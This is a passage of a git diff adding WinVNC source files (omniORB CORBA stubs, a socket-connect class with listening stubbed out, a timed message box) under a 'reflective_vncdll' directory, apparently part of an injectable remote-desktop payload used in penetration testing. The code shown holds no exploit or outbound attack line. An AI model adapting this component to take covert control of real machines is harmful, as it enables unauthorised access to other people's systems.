{} + + virtual void unmarshalReturnedValues(GIOP_C&); + + inline CORBA::ULong result() { return pd_result; } + + CORBA::ULong pd_result; +}; + +void _0RL_cd_22cbff1b827fd898_80000000::unmarshalReturnedValues(GIOP_C& giop_client) +{ + + pd_result <<= giop_client; + +} + +// Local call call-back function. +static void +_0RL_lcfn_22cbff1b827fd898_90000000(omniCallDescriptor* cd, omniServant* svnt) +{ + _0RL_cd_22cbff1b827fd898_80000000* tcd = (_0RL_cd_22cbff1b827fd898_80000000*) cd; + vnc::_impl_controller* impl = (vnc::_impl_controller*) svnt->_ptrToInterface(vnc::controller::_PD_repoId); + tcd->pd_result = impl->getTimeSinceLastConnection(); +} + +CORBA::ULong vnc::_objref_controller::getTimeSinceLastConnection() +{ + _0RL_cd_22cbff1b827fd898_80000000 _call_desc(_0RL_lcfn_22cbff1b827fd898_90000000, "getTimeSinceLastConnection", 27, 0); + + _invoke(_call_desc); + return _call_desc.result(); +} + +// Local call call-back function. +static void +_0RL_lcfn_22cbff1b827fd898_a0000000(omniCallDescriptor* cd, omniServant* svnt) +{ + + vnc::_impl_controller* impl = (vnc::_impl_controller*) svnt->_ptrToInterface(vnc::controller::_PD_repoId); + impl->shutdown(); +} + +void vnc::_objref_controller::shutdown() +{ + omniStdCallDesc::void_call _call_desc(_0RL_lcfn_22cbff1b827fd898_a0000000, "shutdown", 9, 1/*oneway*/); + + _invoke(_call_desc); + +} + +// Local call call-back function. +static void +_0RL_lcfn_22cbff1b827fd898_b0000000(omniCallDescriptor* cd, omniServant* svnt) +{ + _0RL_cd_22cbff1b827fd898_60000000* tcd = (_0RL_cd_22cbff1b827fd898_60000000*) cd; + vnc::_impl_controller* impl = (vnc::_impl_controller*) svnt->_ptrToInterface(vnc::controller::_PD_repoId); + impl->enableKeyboardDevice(tcd->arg_0); +} + +void vnc::_objref_controller::enableKeyboardDevice(CORBA::UShort periperalId) +{ + _0RL_cd_22cbff1b827fd898_60000000 _call_desc(_0RL_lcfn_22cbff1b827fd898_b0000000, "enableKeyboardDevice", 21, 1/*oneway*/, periperalId); + + _invoke(_call_desc); + +} + +// Local call call-back function. +static void +_0RL_lcfn_22cbff1b827fd898_c0000000(omniCallDescriptor* cd, omniServant* svnt) +{ + _0RL_cd_22cbff1b827fd898_60000000* tcd = (_0RL_cd_22cbff1b827fd898_60000000*) cd; + vnc::_impl_controller* impl = (vnc::_impl_controller*) svnt->_ptrToInterface(vnc::controller::_PD_repoId); + impl->disableKeyboardDevice(tcd->arg_0); +} + +void vnc::_objref_controller::disableKeyboardDevice(CORBA::UShort peripheralId) +{ + _0RL_cd_22cbff1b827fd898_60000000 _call_desc(_0RL_lcfn_22cbff1b827fd898_c0000000, "disableKeyboardDevice", 22, 1/*oneway*/, peripheralId); + + _invoke(_call_desc); + +} + +// Local call call-back function. +static void +_0RL_lcfn_22cbff1b827fd898_d0000000(omniCallDescriptor* cd, omniServant* svnt) +{ + _0RL_cd_22cbff1b827fd898_60000000* tcd = (_0RL_cd_22cbff1b827fd898_60000000*) cd; + vnc::_impl_controller* impl = (vnc::_impl_controller*) svnt->_ptrToInterface(vnc::controller::_PD_repoId); + impl->enablePointerDevice(tcd->arg_0); +} + +void vnc::_objref_controller::enablePointerDevice(CORBA::UShort periperalId) +{ + _0RL_cd_22cbff1b827fd898_60000000 _call_desc(_0RL_lcfn_22cbff1b827fd898_d0000000, "enablePointerDevice", 20, 1/*oneway*/, periperalId); + + _invoke(_call_desc); + +} + +// Local call call-back function. +static void +_0RL_lcfn_22cbff1b827fd898_e0000000(omniCallDescriptor* cd, omniServant* svnt) +{ + _0RL_cd_22cbff1b827fd898_60000000* tcd = (_0RL_cd_22cbff1b827fd898_60000000*) cd; + vnc::_impl_controller* impl = (vnc::_impl_controller*) svnt->_ptrToInterface(vnc::controller::_PD_repoId); + impl->disablePointerDevice(tcd->arg_0); +} + +void vnc::_objref_controller::disablePointerDevice(CORBA::UShort peripheralId) +{ + _0RL_cd_22cbff1b827fd898_60000000 _call_desc(_0RL_lcfn_22cbff1b827fd898_e0000000, "disablePointerDevice", 21, 1/*oneway*/, peripheralId); + + _invoke(_call_desc); + +} + +// Proxy call descriptor class. Mangled signature: +// _cvnc_mclientInfoList +class _0RL_cd_22cbff1b827fd898_f0000000 + : public omniCallDescriptor +{ +public: + inline _0RL_cd_22cbff1b827fd898_f0000000(LocalCallFn lcfn, const char* op, size_t oplen, _CORBA_Boolean oneway): + omniCallDescriptor(lcfn, op, oplen, oneway) {} + + virtual void unmarshalReturnedValues(GIOP_C&); + + inline vnc::clientInfoList* result() { return pd_result; } + + vnc::clientInfoList* pd_result; + +}; + +void _0RL_cd_22cbff1b827fd898_f0000000::unmarshalReturnedValues(GIOP_C& giop_client) +{ + + pd_result = new vnc::clientInfoList; + *pd_result <<= giop_client; + +} + +// Proxy call descriptor class. Mangled signature: +// void_i_cvnc_mclientInfoList +class _0RL_cd_22cbff1b827fd898_01000000 + : public omniCallDescriptor +{ +public: + inline _0RL_cd_22cbff1b827fd898_01000000(LocalCallFn lcfn, const char* op, size_t oplen, _CORBA_Boolean oneway, const vnc::clientInfoList& a_0): + omniCallDescriptor(lcfn, op, oplen, oneway), + arg_0(a_0) {} + + virtual CORBA::ULong alignedSize(CORBA::ULong); + virtual void marshalArguments(GIOP_C&); + + const vnc::clientInfoList& arg_0; + +}; + +CORBA::ULong _0RL_cd_22cbff1b827fd898_01000000::alignedSize(CORBA::ULong msgsize) +{ + msgsize = arg_0._NP_alignedSize(msgsize); + + return msgsize; +} + +void _0RL_cd_22cbff1b827fd898_01000000::marshalArguments(GIOP_C& giop_client) +{ + arg_0 >>= giop_client; + +} + +// Local call call-back function. +static void +_0RL_lcfn_22cbff1b827fd898_11000000(omniCallDescriptor* cd, omniServant* svnt) +{ + _0RL_cd_22cbff1b827fd898_f0000000* tcd = (_0RL_cd_22cbff1b827fd898_f0000000*) cd; + vnc::_impl_controller* impl = (vnc::_impl_controller*) svnt->_ptrToInterface(vnc::controller::_PD_repoId); + tcd->pd_result = impl->clientList(); +} + +vnc::clientInfoList* vnc::_objref_controller::clientList() +{ + _0RL_cd_22cbff1b827fd898_f0000000 _call_desc(_0RL_lcfn_22cbff1b827fd898_11000000, "_get_clientList", 16, 0); + + _invoke(_call_desc); + return _call_desc.result(); +} + +vnc::_pof_controller::~_pof_controller() {} + +omniObjRef* +vnc::_pof_controller::newObjRef(const char* mdri, IOP::TaggedProfileList* p, + omniIdentity* id, omniLocalIdentity* lid) +{ + return new vnc::_objref_controller(mdri, p, id, lid); +} + +CORBA::Boolean +vnc::_pof_controller::is_a(const char* id) const +{ + if( !strcmp(id, vnc::controller::_PD_repoId) ) + return 1; + + return 0; +} + +const vnc::_pof_controller _the_pof_vnc_mcontroller; + +vnc::_impl_controller::~_impl_controller() {} + +CORBA::Boolean +vnc::_impl_controller::_dispatch(GIOP_S& giop_s) +{ + if( !strcmp(giop_s.operation(), "_get_clientList") ) { + giop_s.RequestReceived(); + clientInfoList_var result = this->clientList(); + if( giop_s.response_expected() ) { + size_t msgsize = (size_t) GIOP_S::ReplyHeaderSize(); + msgsize = (result.operator->())->_NP_alignedSize(msgsize); + + giop_s.InitialiseReply(GIOP::NO_EXCEPTION, (CORBA::ULong) msgsize); + *(result.operator->()) >>= giop_s; + + } + giop_s.ReplyCompleted(); + return 1; + } + + if( !strcmp(giop_s.operation(), "getServerAddress") ) { + + CORBA::String_var arg_address; + + CORBA::UShort arg_port; + + giop_s.RequestReceived(); + + this->getServerAddress(arg_address.out(), arg_port); + + if( giop_s.response_expected() ) { + size_t msgsize = (size_t) GIOP_S::ReplyHeaderSize(); + + msgsize = omni::align_to(msgsize, omni::ALIGN_4) + 4; + msgsize += ((const char*) arg_address) ? strlen((const char*) arg_address) + 1 : 1; + + msgsize = omni::align_to(msgsize, omni::ALIGN_2) + 2; + + giop_s.InitialiseReply(GIOP::NO_EXCEPTION, (CORBA::ULong) msgsize); + + { + CORBA::ULong _len = (((const char*) arg_address)? strlen((const char*) arg_address) + 1 : 1); + + _len >>= giop_s; + if (_len > 1) + giop_s.put_char_array((const CORBA::Char *)((const char*)arg_address),_len); + else { + if ((const char*) arg_address == 0 && omniORB::traceLevel > 1) + _CORBA_null_string_ptr(0); + CORBA::Char('\0') >>= giop_s; + } + } + arg_port >>= giop_s; + + } + giop_s.ReplyCompleted(); + return 1; + } + + if( !strcmp(giop_s.operation(), "getDesktopSize") ) { + + CORBA::UShort arg_width; + + CORBA::UShort arg_height; + + CORBA::UShort arg_depth; + + giop_s.RequestReceived(); + + this->getDesktopSize(arg_width, arg_height, arg_depth); + + if( giop_s.response_expected() ) { + size_t msgsize = (size_t) GIOP_S::ReplyHeaderSize(); + + msgsize = omni::align_to(msgsize, omni::ALIGN_2) + 2; + + msgsize = omni::align_to(msgsize, omni::ALIGN_2) + 2; + + msgsize = omni::align_to(msgsize, omni::ALIGN_2) + 2; + + giop_s.InitialiseReply(GIOP::NO_EXCEPTION, (CORBA::ULong) msgsize); + + arg_width >>= giop_s; + arg_height >>= giop_s; + arg_depth >>= giop_s; + + } + giop_s.ReplyCompleted(); + return 1; + } + + if( !strcmp(giop_s.operation(), "initiateConnection") ) { + static const char* const _user_exns[] = { + "IDL:vnc/connectionFailed:1.0" + }; + giop_s.set_user_exceptions(_user_exns, 1); + + CORBA::String_var arg_clientAddress; + + { + CORBA::String_member _0RL_str_tmp; + _0RL_str_tmp <<= giop_s; + arg_clientAddress = _0RL_str_tmp._ptr; + _0RL_str_tmp._ptr = 0; + } + CORBA::UShort arg_port; + + arg_port <<= giop_s; + CORBA::UShort arg_capability; + + arg_capability <<= giop_s; + CORBA::Boolean arg_enableInputs; + + arg_enableInputs <<= giop_s; + CORBA::Boolean arg_isTeleport; + + arg_isTeleport <<= giop_s; + + giop_s.RequestReceived(); + CORBA::UShort result; + +#ifndef HAS_Cplusplus_catch_exception_by_base + try { +#endif + + result = this->initiateConnection(arg_clientAddress.in(), arg_port, arg_capability, arg_enableInputs, arg_isTeleport); +#ifndef HAS_Cplusplus_catch_exception_by_base + } + + catch(vnc::connectionFailed& ex) { + throw omniORB::StubUserException(ex._NP_duplicate()); + } + +#endif + + if( giop_s.response_expected() ) { + size_t msgsize = (size_t) GIOP_S::ReplyHeaderSize(); + msgsize = omni::align_to(msgsize, omni::ALIGN_2) + 2; + + giop_s.InitialiseReply(GIOP::NO_EXCEPTION, (CORBA::ULong) msgsize); + result >>= giop_s; + + } + giop_s.ReplyCompleted(); + return 1; + } + + if( !strcmp(giop_s.operation(), "closeConnection") ) { + + CORBA::UShort arg_connectionId; + + arg_connectionId <<= giop_s; + + giop_s.RequestReceived(); + + this->closeConnection(arg_connectionId); + + if( giop_s.response_expected() ) { + size_t msgsize = (size_t) GIOP_S::ReplyHeaderSize(); + + giop_s.InitialiseReply(GIOP::NO_EXCEPTION, (CORBA::ULong) msgsize); + + } + giop_s.ReplyCompleted(); + return 1; + } + + if( !strcmp(giop_s.operation(), "getTimeSinceLastConnection") ) { + + giop_s.RequestReceived(); + CORBA::ULong result; + + result = this->getTimeSinceLastConnection(); + + if( giop_s.response_expected() ) { + size_t msgsize = (size_t) GIOP_S::ReplyHeaderSize(); + msgsize = omni::align_to(msgsize, omni::ALIGN_4) + 4; + + giop_s.InitialiseReply(GIOP::NO_EXCEPTION, (CORBA::ULong) msgsize); + result >>= giop_s; + + } + giop_s.ReplyCompleted(); + return 1; + } + + if( !strcmp(giop_s.operation(), "shutdown") ) { + + giop_s.RequestReceived(); + + this->shutdown(); + + if( giop_s.response_expected() ) { + size_t msgsize = (size_t) GIOP_S::ReplyHeaderSize(); + + giop_s.InitialiseReply(GIOP::NO_EXCEPTION, (CORBA::ULong) msgsize); + + } + giop_s.ReplyCompleted(); + return 1; + } + + if( !strcmp(giop_s.operation(), "enableKeyboardDevice") ) { + + CORBA::UShort arg_periperalId; + + arg_periperalId <<= giop_s; + + giop_s.RequestReceived(); + + this->enableKeyboardDevice(arg_periperalId); + + if( giop_s.response_expected() ) { + size_t msgsize = (size_t) GIOP_S::ReplyHeaderSize(); + + giop_s.InitialiseReply(GIOP::NO_EXCEPTION, (CORBA::ULong) msgsize); + + } + giop_s.ReplyCompleted(); + return 1; + } + + if( !strcmp(giop_s.operation(), "disableKeyboardDevice") ) { + + CORBA::UShort arg_peripheralId; + + arg_peripheralId <<= giop_s; + + giop_s.RequestReceived(); + + this->disableKeyboardDevice(arg_peripheralId); + + if( giop_s.response_expected() ) { + size_t msgsize = (size_t) GIOP_S::ReplyHeaderSize(); + + giop_s.InitialiseReply(GIOP::NO_EXCEPTION, (CORBA::ULong) msgsize); + + } + giop_s.ReplyCompleted(); + return 1; + } + + if( !strcmp(giop_s.operation(), "enablePointerDevice") ) { + + CORBA::UShort arg_periperalId; + + arg_periperalId <<= giop_s; + + giop_s.RequestReceived(); + + this->enablePointerDevice(arg_periperalId); + + if( giop_s.response_expected() ) { + size_t msgsize = (size_t) GIOP_S::ReplyHeaderSize(); + + giop_s.InitialiseReply(GIOP::NO_EXCEPTION, (CORBA::ULong) msgsize); + + } + giop_s.ReplyCompleted(); + return 1; + } + + if( !strcmp(giop_s.operation(), "disablePointerDevice") ) { + + CORBA::UShort arg_peripheralId; + + arg_peripheralId <<= giop_s; + + giop_s.RequestReceived(); + + this->disablePointerDevice(arg_peripheralId); + + if( giop_s.response_expected() ) { + size_t msgsize = (size_t) GIOP_S::ReplyHeaderSize(); + + giop_s.InitialiseReply(GIOP::NO_EXCEPTION, (CORBA::ULong) msgsize); + + } + giop_s.ReplyCompleted(); + return 1; + } + + return 0; +} + +void* +vnc::_impl_controller::_ptrToInterface(const char* id) +{ + if( !strcmp(id, CORBA::Object::_PD_repoId) ) + return (void*) 1; + if( !strcmp(id, vnc::controller::_PD_repoId) ) + return (_impl_controller*) this; + + return 0; +} + +const char* +vnc::_impl_controller::_mostDerivedRepoId() +{ + return vnc::controller::_PD_repoId; +} + +vnc::watch_ptr vnc::watch_Helper::_nil() { + return vnc::watch::_nil(); +} + +CORBA::Boolean vnc::watch_Helper::is_nil(vnc::watch_ptr p) { + return CORBA::is_nil(p); + +} + +void vnc::watch_Helper::release(vnc::watch_ptr p) { + CORBA::release(p); +} + +void vnc::watch_Helper::duplicate(vnc::watch_ptr p) { + if( p && !p->_NP_is_nil() ) omni::duplicateObjRef(p); +} + +size_t vnc::watch_Helper::NP_alignedSize(vnc::watch_ptr obj, size_t offset) { + return vnc::watch::_alignedSize(obj, offset); +} + +void vnc::watch_Helper::marshalObjRef(vnc::watch_ptr obj, NetBufferedStream& s) { + vnc::watch::_marshalObjRef(obj, s); +} + +vnc::watch_ptr vnc::watch_Helper::unmarshalObjRef(NetBufferedStream& s) { + return vnc::watch::_unmarshalObjRef(s); +} + +void vnc::watch_Helper::marshalObjRef(vnc::watch_ptr obj, MemBufferedStream& s) { + vnc::watch::_marshalObjRef(obj, s); +} + +vnc::watch_ptr vnc::watch_Helper::unmarshalObjRef(MemBufferedStream& s) { + return vnc::watch::_unmarshalObjRef(s); +} + +vnc::watch_ptr +vnc::watch::_duplicate(vnc::watch_ptr obj) +{ + if( obj && !obj->_NP_is_nil() ) omni::duplicateObjRef(obj); + + return obj; +} + +vnc::watch_ptr +vnc::watch::_narrow(CORBA::Object_ptr obj) +{ + if( !obj || obj->_NP_is_nil() || obj->_NP_is_pseudo() ) return _nil(); + _ptr_type e = (_ptr_type) obj->_PR_getobj()->_realNarrow(_PD_repoId); + return e ? e : _nil(); +} + +vnc::watch_ptr +vnc::watch::_nil() +{ + static _objref_watch* _the_nil_ptr = 0; + if( !_the_nil_ptr ) { + omni::nilRefLock().lock(); + if( !_the_nil_ptr ) _the_nil_ptr = new _objref_watch; + omni::nilRefLock().unlock(); + } + return _the_nil_ptr; +} + +const char* vnc::watch::_PD_repoId = "IDL:vnc/watch:1.0"; + +vnc::_objref_watch::~_objref_watch() {} + +vnc::_objref_watch::_objref_watch(const char* mdri, + IOP::TaggedProfileList* p, omniIdentity* id, omniLocalIdentity* lid) : + + omniObjRef(vnc::watch::_PD_repoId, mdri, p, id, lid) +{ + _PR_setobj(this); +} + +void* +vnc::_objref_watch::_ptrToObjRef(const char* id) +{ + if( !strcmp(id, CORBA::Object::_PD_repoId) ) + return (CORBA::Object_ptr) this; + if( !strcmp(id, vnc::watch::_PD_repoId) ) + return (vnc::watch_ptr) this; + + return 0; +} + +// Proxy call descriptor class. Mangled signature: +// _cstring +class _0RL_cd_22cbff1b827fd898_21000000 + : public omniCallDescriptor +{ +public: + inline _0RL_cd_22cbff1b827fd898_21000000(LocalCallFn lcfn, const char* op, size_t oplen, _CORBA_Boolean oneway): + omniCallDescriptor(lcfn, op, oplen, oneway) {} + + virtual void unmarshalReturnedValues(GIOP_C&); + + inline char * result() { return pd_result; } + + char * pd_result; +}; + +void _0RL_cd_22cbff1b827fd898_21000000::unmarshalReturnedValues(GIOP_C& giop_client) +{ + + { + CORBA::String_member _0RL_str_tmp; + _0RL_str_tmp <<= giop_client; + pd_result = _0RL_str_tmp._ptr; + _0RL_str_tmp._ptr = 0; + } + +} + +// Local call call-back function. +static void +_0RL_lcfn_22cbff1b827fd898_31000000(omniCallDescriptor* cd, omniServant* svnt) +{ + _0RL_cd_22cbff1b827fd898_21000000* tcd = (_0RL_cd_22cbff1b827fd898_21000000*) cd; + vnc::_impl_watch* impl = (vnc::_impl_watch*) svnt->_ptrToInterface(vnc::watch::_PD_repoId); + tcd->pd_result = impl->getHost(); +} + +char* vnc::_objref_watch::getHost() +{ + _0RL_cd_22cbff1b827fd898_21000000 _call_desc(_0RL_lcfn_22cbff1b827fd898_31000000, "getHost", 8, 0); + + _invoke(_call_desc); + return _call_desc.result(); +} + +// Local call call-back function. +static void +_0RL_lcfn_22cbff1b827fd898_41000000(omniCallDescriptor* cd, omniServant* svnt) +{ + + vnc::_impl_watch* impl = (vnc::_impl_watch*) svnt->_ptrToInterface(vnc::watch::_PD_repoId); + impl->shutdown(); +} + +void vnc::_objref_watch::shutdown() +{ + omniStdCallDesc::void_call _call_desc(_0RL_lcfn_22cbff1b827fd898_41000000, "shutdown", 9, 1/*oneway*/); + + _invoke(_call_desc); + +} + +vnc::_pof_watch::~_pof_watch() {} + +omniObjRef* +vnc::_pof_watch::newObjRef(const char* mdri, IOP::TaggedProfileList* p, + omniIdentity* id, omniLocalIdentity* lid) +{ + return new vnc::_objref_watch(mdri, p, id, lid); +} + +CORBA::Boolean +vnc::_pof_watch::is_a(const char* id) const +{ + if( !strcmp(id, vnc::watch::_PD_repoId) ) + return 1; + + return 0; +} + +const vnc::_pof_watch _the_pof_vnc_mwatch; + +vnc::_impl_watch::~_impl_watch() {} + +CORBA::Boolean +vnc::_impl_watch::_dispatch(GIOP_S& giop_s) +{ + if( !strcmp(giop_s.operation(), "getHost") ) { + + giop_s.RequestReceived(); + CORBA::String_var result; + + result = this->getHost(); + + if( giop_s.response_expected() ) { + size_t msgsize = (size_t) GIOP_S::ReplyHeaderSize(); + msgsize = omni::align_to(msgsize, omni::ALIGN_4) + 4; + msgsize += ((const char*) result) ? strlen((const char*) result) + 1 : 1; + + giop_s.InitialiseReply(GIOP::NO_EXCEPTION, (CORBA::ULong) msgsize); + { + CORBA::ULong _len = (((const char*) result)? strlen((const char*) result) + 1 : 1); + + _len >>= giop_s; + if (_len > 1) + giop_s.put_char_array((const CORBA::Char *)((const char*)result),_len); + else { + if ((const char*) result == 0 && omniORB::traceLevel > 1) + _CORBA_null_string_ptr(0); + CORBA::Char('\0') >>= giop_s; + } + } + + } + giop_s.ReplyCompleted(); + return 1; + } + + if( !strcmp(giop_s.operation(), "shutdown") ) { + + giop_s.RequestReceived(); + + this->shutdown(); + + if( giop_s.response_expected() ) { + size_t msgsize = (size_t) GIOP_S::ReplyHeaderSize(); + + giop_s.InitialiseReply(GIOP::NO_EXCEPTION, (CORBA::ULong) msgsize); + + } + giop_s.ReplyCompleted(); + return 1; + } + + return 0; +} + +void* +vnc::_impl_watch::_ptrToInterface(const char* id) +{ + if( !strcmp(id, CORBA::Object::_PD_repoId) ) + return (void*) 1; + if( !strcmp(id, vnc::watch::_PD_repoId) ) + return (_impl_watch*) this; + + return 0; +} + +const char* +vnc::_impl_watch::_mostDerivedRepoId() +{ + return vnc::watch::_PD_repoId; +} + +POA_vnc::controller::~controller() {} + +POA_vnc::watch::~watch() {} + diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncsockconnect.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vncsockconnect.cpp new file mode 100644 index 0000000000..0d0ce13070 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncsockconnect.cpp @@ -0,0 +1,155 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncSockConnect.cpp + +// Implementation of the listening socket class + +#include "stdhdrs.h" +#include "VSocket.h" +#include "vncSockConnect.h" +#include "vncServer.h" +#include + +// The function for the spawned thread to run +class vncSockConnectThread : public omni_thread +{ +public: + // Init routine + virtual BOOL Init(VSocket *socket, vncServer *server); + + // Code to be executed by the thread + virtual void *run_undetached(void * arg); + + // Fields used internally + BOOL m_shutdown; +protected: + VSocket *m_socket; + vncServer *m_server; +}; + +// Method implementations +BOOL vncSockConnectThread::Init(VSocket *socket, vncServer *server) +{ + // Save the server pointer + m_server = server; + + // Save the socket pointer + m_socket = socket; + + // Start the thread + m_shutdown = FALSE; + start_undetached(); + + return TRUE; +} + +// Code to be executed by the thread +void *vncSockConnectThread::run_undetached(void * arg) +{ + //vnclog.Print(LL_STATE, VNCLOG("started socket connection thread\n")); + + // Go into a loop, listening for connections on the given socket + while (!m_shutdown) + { + // Accept an incoming connection + VSocket *new_socket = m_socket->Accept(); + if (new_socket == NULL) + break; + + //vnclog.Print(LL_CLIENTS, VNCLOG("accepted connection from %s\n"), new_socket->GetPeerName()); + + // Successful accept - start the client unauthenticated + m_server->AddClient(new_socket, FALSE, FALSE); + } + //vnclog.Print(LL_STATE, VNCLOG("quitting socket connection thread\n")); + + return NULL; +} + +// The vncSockConnect class implementation + +vncSockConnect::vncSockConnect() +{ + m_thread = NULL; +} + +vncSockConnect::~vncSockConnect() +{ + m_socket.Shutdown(); + + // Join with our lovely thread + if (m_thread != NULL) + { + // *** This is a hack to force the listen thread out of the accept call, + // because Winsock accept semantics are broken + ((vncSockConnectThread *)m_thread)->m_shutdown = TRUE; + + VSocket socket; + socket.Create(); + socket.Bind(0); + socket.Connect("localhost", m_port); + socket.Close(); + + void *returnval; + m_thread->join(&returnval); + m_thread = NULL; + + m_socket.Close(); + } +} + +// we don't really need to listen, knowm sayn. +BOOL vncSockConnect::Init(vncServer *server, UINT port) +{ + return TRUE; +} + +/* +BOOL vncSockConnect::Init(vncServer *server, UINT port) +{ + // Save the port id + m_port = port; + + // Create the listening socket + if (!m_socket.Create()) + return FALSE; + + // Bind it + if (!m_socket.Bind(m_port, server->LoopbackOnly())) + return FALSE; + + // Set it to listen + if (!m_socket.Listen()) + return FALSE; + + // Create the new thread + m_thread = new vncSockConnectThread; + if (m_thread == NULL) + return FALSE; + + // And start it running + return ((vncSockConnectThread *)m_thread)->Init(&m_socket, server); +} +*/ diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncsockconnect.h b/external/source/reflective_vncdll/winvnc/winvnc/vncsockconnect.h new file mode 100644 index 0000000000..5b3c88812f --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncsockconnect.h @@ -0,0 +1,67 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncSockConnect.h + +// The vncSockConnect class creates a listening socket and binds +// it to the specified port. It then creates a listen thread which +// goes into a loop, listening on the socket. +// When the vncSockConnect object is destroyed, all resources are +// freed automatically, including the listen thread. + +class vncSockConnect; + +#if (!defined(_WINVNC_VNCSOCKCONNECT)) +#define _WINVNC_VNCSOCKCONNECT + +// Includes +#include "stdhdrs.h" +#include "VSocket.h" +#include "vncServer.h" +#include + +// The vncSockConnect class itself +class vncSockConnect +{ +public: + // Constructor/destructor + vncSockConnect(); + ~vncSockConnect(); + + // Init + virtual VBool Init(vncServer *server, UINT port); + + // Implementation +protected: + // The listening socket + VSocket m_socket; + + // The port to listen on + UINT m_port; + + // The in-coming accept thread + omni_thread *m_thread; +}; + +#endif // _WINVNC_VNCSOCKCONNECT \ No newline at end of file diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vnctimedmsgbox.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vnctimedmsgbox.cpp new file mode 100644 index 0000000000..871fa05ee1 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vnctimedmsgbox.cpp @@ -0,0 +1,83 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + +// vncTimedMsgBox + +// vncTimedMsgBox::Do spawns an omni-thread to draw the message +// box and wait a few seconds before returning, leaving the message-box displayed +// until WinVNC quits. + +#include "stdhdrs.h" +#include "omnithread.h" + +#include "vncTimedMsgBox.h" + +// The message-box delay +const UINT TIMED_MSGBOX_DELAY = 4000; + +// The vncTimedMsgBoxThread class + +class vncTimedMsgBoxThread : public omni_thread +{ +public: + vncTimedMsgBoxThread(const char *caption, const char *title, UINT type) + { + m_type = type; + m_caption = strdup(caption); + m_title = strdup(title); + }; + virtual ~vncTimedMsgBoxThread() + { + if (m_caption != NULL) + free(m_caption); + if (m_title != NULL) + free(m_title); + }; + virtual void run(void *) + { + // Create the desired dialog box + if (m_caption == NULL) + return; + MessageBox(NULL, m_caption, m_title, m_type | MB_OK); + }; + char *m_caption; + char *m_title; + UINT m_type; +}; + +// The main vncTimedMsgBox class + +void +vncTimedMsgBox::Do(const char *caption, const char *title, UINT type) +{ + // Create the thread object + vncTimedMsgBoxThread *thread = new vncTimedMsgBoxThread(caption, title, type); + if (thread == NULL) + return; + + // Start the thread object + thread->start(); + + // And wait a few seconds + Sleep(TIMED_MSGBOX_DELAY); +} \ No newline at end of file diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vnctimedmsgbox.h b/external/source/reflective_vncdll/winvnc/winvnc/vnctimedmsgbox.h new file mode 100644 index 0000000000..aae642a28d --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vnctimedmsgbox.h @@ -0,0 +1,42 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + +// vncTimedMsgBox + +// Static class used to generate message boxes which allow the program's +// execution to continue after a set delay (4 seconds at present) + +class vncTimedMsgBox; + +#if(!defined(_WINVNC_VNCTIMEDMSGBOX)) +#define _WINVNC_VNCTIMEDMSGBOX + +class vncTimedMsgBox +{ +public: + // Bring up a message box, wait for two seconds, then return + static void Do(const char *caption, const char *title, UINT type); +}; + +#endif + diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vsocket.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vsocket.cpp new file mode 100644 